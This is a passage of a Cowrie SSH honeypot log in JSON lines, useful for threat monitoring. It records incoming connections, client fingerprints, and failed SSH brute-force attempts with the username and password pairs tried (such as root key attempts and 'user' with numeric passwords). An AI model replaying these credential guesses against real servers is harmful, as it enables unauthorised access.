af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:43.924476Z","src_ip":"152.53.22.186","session":"48237a0d1fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trojanuser","password":"123456","message":"login attempt [trojanuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:44.298117Z","src_ip":"152.53.22.186","session":"48237a0d1fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:45.395180Z","src_ip":"152.53.22.186","session":"48237a0d1fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60906,"dst_ip":"159.203.135.109","dst_port":22,"session":"64b9038645ab","protocol":"ssh","message":"New connection: 2.57.122.208:60906 (159.203.135.109:22) [session: 64b9038645ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:07.957258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:08.185554Z","src_ip":"2.57.122.208","session":"64b9038645ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:08.188854Z","src_ip":"2.57.122.208","session":"64b9038645ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:09.998316Z","src_ip":"2.57.122.208","session":"64b9038645ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:11.409217Z","src_ip":"2.57.122.208","session":"64b9038645ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12172,"dst_ip":"10.17.0.5","dst_port":22,"session":"97965cb66ee6","protocol":"ssh","message":"New connection: 2.57.121.25:12172 (10.17.0.5:22) [session: 97965cb66ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:16.455569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:16.461022Z","src_ip":"2.57.121.25","session":"97965cb66ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:16.562073Z","src_ip":"2.57.121.25","session":"97965cb66ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1323","message":"login attempt [user/1323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:17.035111Z","src_ip":"2.57.121.25","session":"97965cb66ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131290","message":"login attempt [user/131290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:18.138627Z","src_ip":"2.57.121.25","session":"97965cb66ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1312","message":"login attempt [user/1312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:19.241472Z","src_ip":"2.57.121.25","session":"97965cb66ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130988","message":"login attempt [user/130988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:20.481201Z","src_ip":"2.57.121.25","session":"97965cb66ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.225.106","src_port":46550,"dst_ip":"10.17.0.5","dst_port":22,"session":"834ed5298bc3","protocol":"ssh","message":"New connection: 172.245.225.106:46550 (10.17.0.5:22) [session: 834ed5298bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.518654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.527436Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.570585Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13091983","message":"login attempt [user/13091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.583876Z","src_ip":"2.57.121.25","session":"97965cb66ee6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClKTKxIDuyLSbrT58wOrFTr+6kXoHQXxNwG6vb4krmXE0EDVDtEhSg4GUW7Y/oU+IkqBI4bxO7YaP5vskolb6kKK0V4GLLgeP8jLXVKNk+afQoRMPQUUeeK7LOCw9KJCwRVUljmHE1J7EUssSZmF4swoMxNZhJqDOK6uz8JM4qPmY4aaSYlhcoZuVVnfLiN/utPXiIQKChSYWh7tfSOzUyvZRIi7bUBYwqpOSvgeUR/dCmaqZ3vY/cH7C84vKncxRrXovUcwtonHCHLgtqfBy/iTLX1QARz/xDYPsFEg/2gValFpbjtNUkQ41poyrhi/LMj6Qh3paT2yY9Lc1eJhqV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.763728Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClKTKxIDuyLSbrT58wOrFTr+6kXoHQXxNwG6vb4krmXE0EDVDtEhSg4GUW7Y/oU+IkqBI4bxO7YaP5vskolb6kKK0V4GLLgeP8jLXVKNk+afQoRMPQUUeeK7LOCw9KJCwRVUljmHE1J7EUssSZmF4swoMxNZhJqDOK6uz8JM4qPmY4aaSYlhcoZuVVnfLiN/utPXiIQKChSYWh7tfSOzUyvZRIi7bUBYwqpOSvgeUR/dCmaqZ3vY/cH7C84vKncxRrXovUcwtonHCHLgtqfBy/iTLX1QARz/xDYPsFEg/2gValFpbjtNUkQ41poyrhi/LMj6Qh3paT2yY9Lc1eJhqV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.769130Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJTRCBEep6NDIDh/kGrb4YQBWJTLM8BfEGW75J9uIxyh5wem3fD4CN4xrWl+mquai6WL4ljb3iIiL77c0U3AEFgofbDOOUOL4rrAgrvrrSxIL0dWNdO5dxThvu1Udac5yWNmuHVzsCAS9GdiXJI8h9jUiYovTJ7lh3w28XUub6bTubSmIvZ1UgHRE5pJJ2/AlwoKUDclgEW6I7hYTHw87nDtAzSfMDoGdKhJ/TlmKFy3apRDuDxI+43/pRahoYnIithMtbqg6waWgxvUGUQ8wg9Sb8Ei7fq8U2IEG9Vvby1D2gNIgq1MdnvR+dlb3b5x2RGtUKI+nzGVe69wX3ntZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.814106Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJTRCBEep6NDIDh/kGrb4YQBWJTLM8BfEGW75J9uIxyh5wem3fD4CN4xrWl+mquai6WL4ljb3iIiL77c0U3AEFgofbDOOUOL4rrAgrvrrSxIL0dWNdO5dxThvu1Udac5yWNmuHVzsCAS9GdiXJI8h9jUiYovTJ7lh3w28XUub6bTubSmIvZ1UgHRE5pJJ2/AlwoKUDclgEW6I7hYTHw87nDtAzSfMDoGdKhJ/TlmKFy3apRDuDxI+43/pRahoYnIithMtbqg6waWgxvUGUQ8wg9Sb8Ei7fq8U2IEG9Vvby1D2gNIgq1MdnvR+dlb3b5x2RGtUKI+nzGVe69wX3ntZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.817644Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC0wHgsjGB7zyfJXQbxuH582isjRs2Nx414ZOkjtx13mL/qc80a7W9yTncGS18L2PCMgow4teo95zbl/K4rZ/nXOPLh5eX34HSVXcMuNUdkcxZVxzfYLYPJXRHnFzcV3aHkJlvTW4GbxPKKIG32TftNBptePDeLG0aWYFcOa1P5uT6BC7shFmX9JM0Z1McEgtC/JuAh41r40M/L+MvxMq/G2vy+FJoS/0Br1lWpRju5Mw6Ddb3W3c7gX2Aaiak5Zm5PXKOO9GTN6jrFn0UxDwB/dHpdHvTdo+Ni1E6yV5R3raUMVvDpOLjpbZnUNrGQZsCEp/cdwp/MzD/3+pdWNSZflLKCK+PaEZ6cPw51pNcIiea0Z0r5wrb6AwUWRkWTaYHhoypoitlJyN3TlE0K6G7UHk/dADY7Lm4ZxlpTvxVPUvUEyWHnfBUI6xJHFcbtQb8P+8JvoIynvzNQJ3o550k1SO2SmMnxl/J307pYCLzVIcLN4ocUynsCXDE36l+qPEH8jD3DqtBkQFoTAosUj9eAbru3uVP7tIBrQqA1969t1a0XyN0aQY4kSgqxAkV6T/wmWQKt6lRHlRX5WVbo+VhxZ8b1fRgr1CcmYsprVrcDgPzh0IHuA056Ow9G/esmGJa1Y+KCJJVKkokHlQTyrzl932lCWGMiWr2Xtc41S1SRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.861697Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC0wHgsjGB7zyfJXQbxuH582isjRs2Nx414ZOkjtx13mL/qc80a7W9yTncGS18L2PCMgow4teo95zbl/K4rZ/nXOPLh5eX34HSVXcMuNUdkcxZVxzfYLYPJXRHnFzcV3aHkJlvTW4GbxPKKIG32TftNBptePDeLG0aWYFcOa1P5uT6BC7shFmX9JM0Z1McEgtC/JuAh41r40M/L+MvxMq/G2vy+FJoS/0Br1lWpRju5Mw6Ddb3W3c7gX2Aaiak5Zm5PXKOO9GTN6jrFn0UxDwB/dHpdHvTdo+Ni1E6yV5R3raUMVvDpOLjpbZnUNrGQZsCEp/cdwp/MzD/3+pdWNSZflLKCK+PaEZ6cPw51pNcIiea0Z0r5wrb6AwUWRkWTaYHhoypoitlJyN3TlE0K6G7UHk/dADY7Lm4ZxlpTvxVPUvUEyWHnfBUI6xJHFcbtQb8P+8JvoIynvzNQJ3o550k1SO2SmMnxl/J307pYCLzVIcLN4ocUynsCXDE36l+qPEH8jD3DqtBkQFoTAosUj9eAbru3uVP7tIBrQqA1969t1a0XyN0aQY4kSgqxAkV6T/wmWQKt6lRHlRX5WVbo+VhxZ8b1fRgr1CcmYsprVrcDgPzh0IHuA056Ow9G/esmGJa1Y+KCJJVKkokHlQTyrzl932lCWGMiWr2Xtc41S1SRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.865648Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgjanh+7TCrMUJ4XHMqvIRPna1rZpSVgv+LnKWHXyJUBHMWi5IPP2hbk6Nmn6Wm7H1xeeglvsF2g9mfRnxtTlTfDbw36mcWwbKvcxJIi0QRJZPXsXUoFqgqexwrJe2hVlzzxMtwjexlRIjLKeMnB4SOWMbxOSOq20jOmqdFRHQIy4uV36O+grR4y5BhEfeIAqk4kMKkYoPr7I55i6JYZ0p3UfpylEAoFAxnXbMtRuTTj0zp7Ct06XQrDW1JHNnmwvBWztdP85bBIXgw3NrdgHccChzXiaxq/9ZUEmD8w/aRUpRjzHpdsVmOWEdF2fn1VGeoWzWJwAhVbaDroKZy+x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.909323Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgjanh+7TCrMUJ4XHMqvIRPna1rZpSVgv+LnKWHXyJUBHMWi5IPP2hbk6Nmn6Wm7H1xeeglvsF2g9mfRnxtTlTfDbw36mcWwbKvcxJIi0QRJZPXsXUoFqgqexwrJe2hVlzzxMtwjexlRIjLKeMnB4SOWMbxOSOq20jOmqdFRHQIy4uV36O+grR4y5BhEfeIAqk4kMKkYoPr7I55i6JYZ0p3UfpylEAoFAxnXbMtRuTTj0zp7Ct06XQrDW1JHNnmwvBWztdP85bBIXgw3NrdgHccChzXiaxq/9ZUEmD8w/aRUpRjzHpdsVmOWEdF2fn1VGeoWzWJwAhVbaDroKZy+x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.912916Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfBCyz1BB0eQ8CbOu6leHjRawCtoSGaG8BHlqm1TbFmOfypwZnCF2YP7agoz1jPcR8PnQxFAOfNRLQuDae9mIgvKjG37zOTCJmCaAwblWq7bmMooSOf75nQD0V/sM98jq9CTeuT+m8L2uZt6ZwzPwOQ6v9gbXr8GRIHF2ym4fUtztGONy9XkMu0+cKZZjwLTN4WRWw+VXt7T+RkP6sfVcJspzaN/AOxohAEospsflwUfnrV4Ffe+UC+GhAv/UcE2GUs+KWuj7bmBrGwHduzm8+kHjv2vwTpIvbSYId8k3kUR+RShLW8x03UYoxcE5rlxoSFFuRKjkWAEPTWPkPidv5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.956743Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfBCyz1BB0eQ8CbOu6leHjRawCtoSGaG8BHlqm1TbFmOfypwZnCF2YP7agoz1jPcR8PnQxFAOfNRLQuDae9mIgvKjG37zOTCJmCaAwblWq7bmMooSOf75nQD0V/sM98jq9CTeuT+m8L2uZt6ZwzPwOQ6v9gbXr8GRIHF2ym4fUtztGONy9XkMu0+cKZZjwLTN4WRWw+VXt7T+RkP6sfVcJspzaN/AOxohAEospsflwUfnrV4Ffe+UC+GhAv/UcE2GUs+KWuj7bmBrGwHduzm8+kHjv2vwTpIvbSYId8k3kUR+RShLW8x03UYoxcE5rlxoSFFuRKjkWAEPTWPkPidv5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:21.960738Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:22.004831Z","src_ip":"172.245.225.106","session":"834ed5298bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:22.686740Z","src_ip":"2.57.121.25","session":"97965cb66ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38990,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c6f125988aa","protocol":"ssh","message":"New connection: 194.59.206.2:38990 (159.203.135.109:22) [session: 4c6f125988aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:26.239067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:26.243798Z","src_ip":"194.59.206.2","session":"4c6f125988aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:26.325787Z","src_ip":"194.59.206.2","session":"4c6f125988aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:26.414517Z","src_ip":"194.59.206.2","session":"4c6f125988aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.171.90.82","src_port":38478,"dst_ip":"10.17.0.5","dst_port":22,"session":"d69bb773037c","protocol":"ssh","message":"New connection: 142.171.90.82:38478 (10.17.0.5:22) [session: d69bb773037c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.258241Z"}
